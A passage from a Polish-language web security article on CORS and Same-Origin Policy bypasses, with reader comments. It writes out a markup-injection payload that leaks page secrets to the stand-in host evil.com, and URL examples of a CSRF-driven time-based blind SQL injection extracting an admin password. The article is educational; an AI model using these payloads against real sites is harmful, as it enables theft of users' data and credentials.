Wyobraźmy sobie powyższa strona jest hostowana pod adresem https://example.com, oraz, że atakujący przekonuje ofiarę do odwiedzenia następującego adresu: https://example.com/?name=<img%20src=”https://evil.com/?, zawierającego nasz złośliwy payload. W tym przypadku nasza zaatakowana strona zostanie wyświetlona w następujący sposób:
(...) <h1>Hello <img src="https://evil.com/?!</h1> Your super secret password is: 123456. Don't tell anyone! <img src="logo.png"/> (...)
Zauważmy, że parser HTML trochę się pogubi w przetwarzaniu strony i zrozumie, że potrzebny jest obrazek z adresu (zakodowane jako URL):
https://evil.com/?!%3C/h1%3EYour%20super%20secret%20password%20is:%20123456.%20Don%27t%20tell%20anyone!%3Cimg%20src=
a zatem wyśle takie zapytanie do strony kontrolowanej przez atakującego, zdradzając sekretne dane użytkownika! Warto nadmienić niemniej, że w ostatnim czasie tego typu atak przestał być możliwy w nowszych wersjach Chrome. Na “szczęście”, w Firefox dalej działa jak działał.
Przykład czwarty to tak zwany JSON Hijacking. Załóżmy że mamy endpoint który zwraca dane w formacie JSON, ale nie jako pojedynczy obiekt JSON (na przykład {“field”: “value”}), ale tablicę JSON (na przykład [1, 2, 3]). Różnica jest taka, że o ile obiekt JSON sam w sobie nie jest traktowany jako poprawny kod Javascript (traktowany jest jako blok kodu, a zawartość bloku – czyli “wnętrze” obiektu JSON – nie jest poprawnym kodem), o tyle tablica to poprawny kod źródłowy (wyrażenie które się wykona, po czym “zniknie” bo nigdzie go nie zapisujemy – ale się wykona!). Fakt ten, w połączeniu z pewnymi sztuczkami Javascript powodował poważne problemy – umożliwiał on odczyt zwróconych danych Cross-Origin, nawet jeśli w teorii nie powinien być on możliwy (tzn. nie osłabiono w żaden sposób SOP)! Przykładowe ataki tego typu pojawiały się dawno temu, ale też całkiem niedawno.
Przykład piąty jest dość specyficzny – jest swoistym przykładem na wykorzystanie tzw. bocznego kanału (ang. side-channel). Z ciekawostek dodam, że nie jest to atak teoretyczny – tego typu błąd udało mi się znaleźć w testowanej przeze mnie aplikacji. Mimo, że warunki konieczne do spełnienia są raczej nietypowe, sam atak jest ciekawy gdyż pokazuje nam, że kombinacja (czasem nieintuicyjna) kilku nieznacznych podatności – często samych w sobie niezagrażających aplikacji – może prowadzić do poważnych problemów.
Testowana aplikacja posiadała specjalną funkcjonalność dla administratorów systemu: “shell” dla zapytań SQL. To znaczy, że administrator mógł wpisać komendę SQL, wysłać ją na serwer, i otrzymać jej rezultat (całość z poziomu przeglądarki). Pod spodem było to realizowane mniej więcej w taki sposób – zapytanie:
GET /query?q=SELECT+COL1,COL2+FROM+TAB+LIMIT+1 HTTP/1.1 Host: example.com (...) HTTP/1.1 200 OK Content-Type: application/json (...) {“rows”: [{“COL1”: “VAL1”, “COL2”: “VAL2”}]}
Co ciekawe, endpoint ten nie był zabezpieczony w żaden sposób przed atakiem typu CSRF. Pierwsze co powinno w takim wypadku przyjść do głowy to atak zmieniający stan aplikacji, na przykład przez użycie zapytania SQL UPDATE/INSERT/DELETE/DROP itp. Okazuje się jednak, że nie było to możliwe – jedyny typ zapytań które były wykonywane przez serwer, to zapytania odczytujące dane; wszystkie zapytania które pisały do (zmieniały stan) bazy były odrzucane – i mimo prób obejścia, zabezpieczenie wyglądało na porządne.
Rozważmy zatem sytuacje: atakujący tworzy stronę internetową, i w pewien sposób (czy to używając tagu <img>, czy zapytań XHR) zmusza serwer do wykonania – i zwrócenia wyniku (czyli danych) do przeglądarki – polecenia SQL. Niestety, w związku z SOP, atakujący danych nie odczyta. Co teraz?
Rozważmy następujące zapytanie:
https://example.com/query?SELECT+1
a następnie takie:
https://example.com/query?SELECT+*+FROM+BIG_TABLE
Czy coś świta? Podpowiedź jest taka, że atakujący może dostać jedną informację zwrotną z powyższych zapytań: czas wykonania zapytania! Składa się na niego czas przetwarzania na serwerze, i czas transferu danych. Co to znaczy? Ano tyle, że możemy połączyć nasz atak CSRF z atakiem podobnym do Blind SQL Injection, i w rezultacie wczytywać dane z bazy, w pewnym sensie obchodząc zabezpieczenia SOP! Konkretnie, załóżmy, że wiemy iż istnieje w bazie tabela users, która zawiera hasło użytkownika admin. Z poziomu przeglądarki wykonamy szereg następujących zapytań:
https://example.com/query?SELECT+(CASE+WHEN+SUBSTRING(password,1,1)=%27A%27+THEN+SLEEP(5)+ELSE+1)+FROM+users+WHERE+login=%27admin%27 https://example.com/query?SELECT+(CASE+WHEN+SUBSTRING(password,1,1)=%27B%27+THEN+SLEEP(5)+ELSE+1)+FROM+users+WHERE+login=%27admin%27 https://example.com/query?SELECT+(CASE+WHEN+SUBSTRING(password,1,1)=%27C%27+THEN+SLEEP(5)+ELSE+1)+FROM+users+WHERE+login=%27admin%27 (...)
Oczywiście w każdym zapytaniu zmieniamy testowany znak. Powinno być dla nas jasne, że jeden request zajmie więcej czasu niż pozostałe – a to znaczy, że ten właśnie znak jest pierwszym znakiem naszego hasła. (Jeśli jest to dalej niejasne, odsyłam do artykułów o Blind SQL Injection które powinny wyjaśnić sprawę – powyższy atak to specyficzny przypadek bSQLi). Oczywiście atak ma trochę ograniczeń: nie wczytamy w ten sposób raczej całej bazy, więc musimy się skupić na małych a istotnych fragmentach (jak na przykład tutaj – hasło administratora). Dodatkowo atak działa tylko w czasie gdy użytkownik ma uruchomioną stronę z naszym kodem Javascript – warto więc zaprojektować ją w taki sposób, żeby został tam jak najdłużej.
Powyższa podatność jest konkretnym przykładem ogólnego rodzaju sposobów ominięcia SOP przez boczny kanał. Błędów tego typu jest wiele, i szczegóły się różnią, ale idea pozostaje ta sama. Na przykład, Eduardo Vela wymyślił a Sigurd Kolltveit usprawnił atak korzystający z badania czasu wykonania się kilku stron w ramkach iframe, w ramach jednej otwartej karty w przeglądarce (korzystając z faktu, że Javascript wszystkich ramek wykonuje się w jednym wątku). Nethanel Gelernteri i Hemi Leibowitz pokazali natomiast jak wykorzystać podobną technikę przy użyciu funkcjonalności wyszukiwania – na przykład, maili w GMailu. Ten atak dostał osobną nazwę Cross-Site Searching (XS-Searching), i w dalszym ciągu pojawia się od czasu do czasu (na przykład nie tak dawno w Google Bug Trackerze). Kolejnym ciekawym przykładem jest możliwość wycieku danych z Facebooka – gdzie tym razem zamiast czasu, bocznym kanałem była ilość stworzonych ramek iframe (dostępna dla atakującego pod warunkiem, że użyjemy tricku window.open()). Oczywiście potencjalnych możliwości jest dużo, dużo więcej.
Na marginesie – zauważmy jak istotna jest polityka SOP. Nawet maleńka ilość informacji którą dostaniemy od serwera (na przykład: długość trwania zapytania, ilość – nie zawartość – otwartych ramek) może mieć bardzo poważne konsekwencje.
Obejścia dla deweloperów
Jest jeden szczególny przypadek który warto jeszcze poruszyć. Jak zostało już wspomniane, czasami chcielibyśmy obejść mechanizm SOP z powodów jak najbardziej legalnych i uzasadnionych. Najlepszym prawdopodobnie przykładem na to są sytuacje związane z tworzeniem oprogramowania. Dość często zdarzyć się może, że pewne aplikacje (bądź ich części) w środowisku deweloperskim są dostępne pod różnymi Originami. Typowym przykładem na to jest (wspomniana już wcześniej) dzisiejsza moda na aplikacje typu Single Page. Oczywiście, kontrolując również serwer back-end jesteśmy w stanie dodać odpowiednie nagłówki, ale po pierwsze – nie zawsze mamy możliwość kontroli owego serwera, po drugie – wymaga to dodatkowej pracy, i wreszcie po trzecie – istnieje niebezpieczeństwo, że wersja “z CORSem” trafi ostatecznie na środowisko produkcyjne – często z bardzo luźna polityką bezpieczeństwa której przykłady były podane wcześniej.
W takich przypadkach, istnieje możliwość skorzystania z różnego rodzaju narzędzi typu lokalne proxy. Możemy tu skorzystać ze standardowych rozwiązań – to znaczy proxy przez które przechodzi cały ruch przeglądarki, będąc odpowiednio modyfikowanym w miarę potrzeby, lub prościej – używając rozszerzeń do przeglądarek. Przykładowo dla przeglądarki Google Chrome można użyć wtyczki ModHeader ogólnego przeznaczenia, lub bardziej konkretnie – rozwiązań dedykowanych w tym konkretnie celu, takich jak Allow-Control-Allow-Origin: *. Należy pamiętać jednak, że tego typu rozwiązania są po pierwsze tymczasowe, po drugie niebezpieczne (na naszym deweloperskim środowisku będziemy narażeni na obejście polityki SOP), a po trzecie lokalne (czyli SOP obejdziemy tylko tam gdzie wyżej wspomniane wtyczki są zainstalowane – w domyśle, na komputerze dewelopera). W ogólności więc należy uważać tego typu rozwiązanie za “hack”, i starać się szukać innych alternatyw dających podobny efekt.
Podsumowanie
Niniejszy artykuł miał za zadanie przedstawić działanie mechanizmu CORS, a także – powiązane z nim – pewne aspekty polityki SOP. Z punktu widzenia atakującego ciekawym jest w jaki sposób można obchodzić oba te mechanizmy (w szczególności – poprzez błędy konfiguracji). Z punktu widzenia twórcy kodu, warto wiedzieć czym w ogóle jest CORS (często niedoświadczony programista ze zdziwieniem zauważa mało mówiące mu błędy w konsoli przeglądarki), a także jak poprawnie utworzyć mechanizm jego obsługi.
CORS jest zdecydowanie bardzo dobrym przykładem technologii która została zaprojektowana z naciskiem na bezpieczeństwo. Z tego powodu warto stosować ją wszędzie tam gdzie potrzebujemy wykonać zapytania Cross-Origin – zamiast innych, niestandaryzowanych mechanizmów (takich jak na przykład ciągle zbyt popularny JSONP). W dalszym ciągu jednak warto pamiętać, że najlepsza nawet technologia nie ochroni nas sama w sobie, i że to na twórcy aplikacji spoczywa obowiązek myślenia!
Linki
–Mateusz Niezabitowski
Kawal dobrego tekstu. Brawo ten pan autor.
„odstawowym mechanizmem obronnym nowoczesnych przeglądarek jest Same-Origin Policy. Z reguły jego istnienie jest dla nas bardzo ważne, gdyż eliminuje ono szereg potencjalnych problemów bezpieczeństwa…”
Chyba nawet fundamentalne, a nie tylko bardzo ważne :].
Bożesz, autorze – jesteś wielki :) Taki kawał tekstu w czasach „kotkowego internetu”.
W 2019 odpalamy naszą ksiażkę (papierową) to dopiero będzie petarda :)
Oby nie trzeba było zbyt długo czekać na tę książkę. Mam nadzieję że znajdzie się tam wiele informacji o hardeningu usług :)
Kiedy pojawią się jakieś informacje na temat książki? Będzie traktowała o jednym temacie? Np. ataki na aplikacje webowe czy jest bardziej rozbudowana? Np. Red teaming, phishing itd.
Aplikacje webowe :) Pewnie w styczniu będzie więcej info. A *może* w okolicach lutego będzie można zamawiać early access
Dzięki za artykuł.
Jest błąd w „Model pierwszy – zapytania proste (Simple Requests)”. W trzecim kroku w przykładowym kodzie jest `xhr.setRequestHeader(“X-Custom”, “value”);`. W tym przypadku będzie preflight, a gadamy o simple-requests.
Myślę, że po prostu przez przypadek przekopiowali ten sam kawałek kodu z „Model drugi – zapytania nie-takie-proste (Not-So-Simple Requests)”.
Sluszna uwaga! Wiersz nizej tez jest blad, tego samego typu (powinno byc zwykle GET zamiast OPTIONS). Zglosilem, powinno byc niedlugo poprawione :-)
Poprawione :)
Świetne opracowanie! Dzięki!
Świetny artykuł, zwłaszcza część z błędnymi konfiguracjami:)
Jedna mała uwaga, w kwestii autoryzacji piszesz:
„Aby dane te zostały wysłane, w obiekcie typu XMLHttpRequest2 musimy o to wyraźnie poprosić ustawiając flagę withCredentials. W przypadku zapytań “prostych” tutaj kończą się nowości. Inaczej jest w przypadku zapytań “nie-takich-prostych””
Niezależnie od rodzaju requestu, serwer musi zwrócić nagłówek „Access-Control-Allow-Credentials” żeby możliwa była komunikacja z opcją „withCredentials”. W przypadku preflightu, jeśli zostania ona zablokowana na samym początku, następne zapytanie w ogóle nie zostanie wywołane, a w prostych zapytaniach dane autoryzujące zostaną wysłane od razu, ale odpowiedź nie zostanie przekazana do klienta jeśli serwer nie zwróci nagłówka. Samo „withCredentials” nie wystarczy.
Mega! Czekam na więcej ;)
CORS – nie raz zjadło mi wszystkie nerwy :) pamiętam jak siedziałem nocami żeby rozwiązać dlaczego nie pobiera mi danych z APi;/ ale bardzo obszerny wpis :) doczytałem do połowy bo głowa już parowała..
Świetny tekst! Wielkie dzięki dla autora, za przygotowanie takiej ilości informacji, które bardzo fajnie się czyta!
Pozdrawiam,
Kuba
Najlepszy artykuł o CORS jaki widziałem. W końcu mi się rozjaśniło, dzięki wielkie ;)
Najlepszy artykuł o cors w polskim (i nie tylko) internecie. Brawo brawo brawo!!!!
BTW wersja rozszerzona jest w naszej książce https://ksiazka.sekurak.pl/
Wreszcie jakiś dobry a nawet bardzo dobry artykół o CORS w języku polskim. Wcześniej jedyne co znalazłem to te po angielsku. Dzięki wielkie.
Wyrazy podziwu i szacunku dla autora postu !
Świetnie opisany CORS , do tego dokładnie i szczegółowo i w dodatku w języku polskim.
Pytanko odnośnie implementacji.
Cors implementujemy w kodzie aplikacji, nie musimy do tego specjalnie jakoś konfigurować serwera aplikacyjnego iis, appache itp.?
Wow! Ogromna wiedza na temat CORS! Świetna robota! Cieszę się, że trafiłem na ten artykuł – dodatkowo języku polskim ;)! Dziękuję!
Świetna porcja wiedzy o CORS. Wow! Widać napracowanie i doświadczenie autora
Dzięki. Wdrożyłem to u siebie na stronie! :)
Chyba jeden z najlepszych artykułów o CORS. Wszystko opisane dokładnie w porównaniu do innych stron gdzie jest o konkretach jest kilka zdań. Szacun dla autora.
Niesamowity artykuł!